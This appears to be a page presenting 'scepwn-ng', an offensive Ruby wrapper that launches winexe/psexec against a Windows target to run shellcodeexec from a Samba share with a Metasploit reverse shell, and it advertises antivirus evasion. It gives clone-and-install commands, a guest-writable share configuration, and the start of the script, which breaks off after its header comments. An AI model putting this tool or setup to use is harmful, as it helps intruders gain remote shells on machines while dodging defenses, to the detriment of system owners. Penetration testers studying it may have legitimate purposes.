scepwn-ng is a wrapper script for launching winexe/psexec at a target, which then runs shellcode exec from a samba share with a msf generated reverse shell. As the executable never touches disk, it is highly effective at evading a/v.
Installation, Basic Setup for a kali box (skyfire) :

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$cd/opt

$git clonehttps://github.com/CoreSecurity/impacket.git

$cd impacket;python setup.py install

$cd/opt;git clonehttps://github.com/inquisb/shellcodeexec.git

If not using Kali, you will also need to install metasploit and winexe, as well as manually setup the samba share:
Add a share to your samba conf – usually located at /etc/samba/smb.con

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[sce_share]

browseable=no

path=/var/sce_share

guest ok=yes

read only=no

create mask=0600

directory mask=0700

Usage:

scepwn-ng; A winexe/psexec wrapper to use sce and a msfvenom generated payload on a target system.

scepwn-ng.rb Script:

Ruby

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#!/usr/bin/env ruby

#

# scepwn-ng is a wrapper script for launching winexe/psexec at a target, which then runs

# shellcode exec from a samba share with a msf generated reverse shell. As the executable

# never touches disk, it is highly effective at evading a/v.

#

# Local admin is required for winexe/psexec to start their respective service, and should be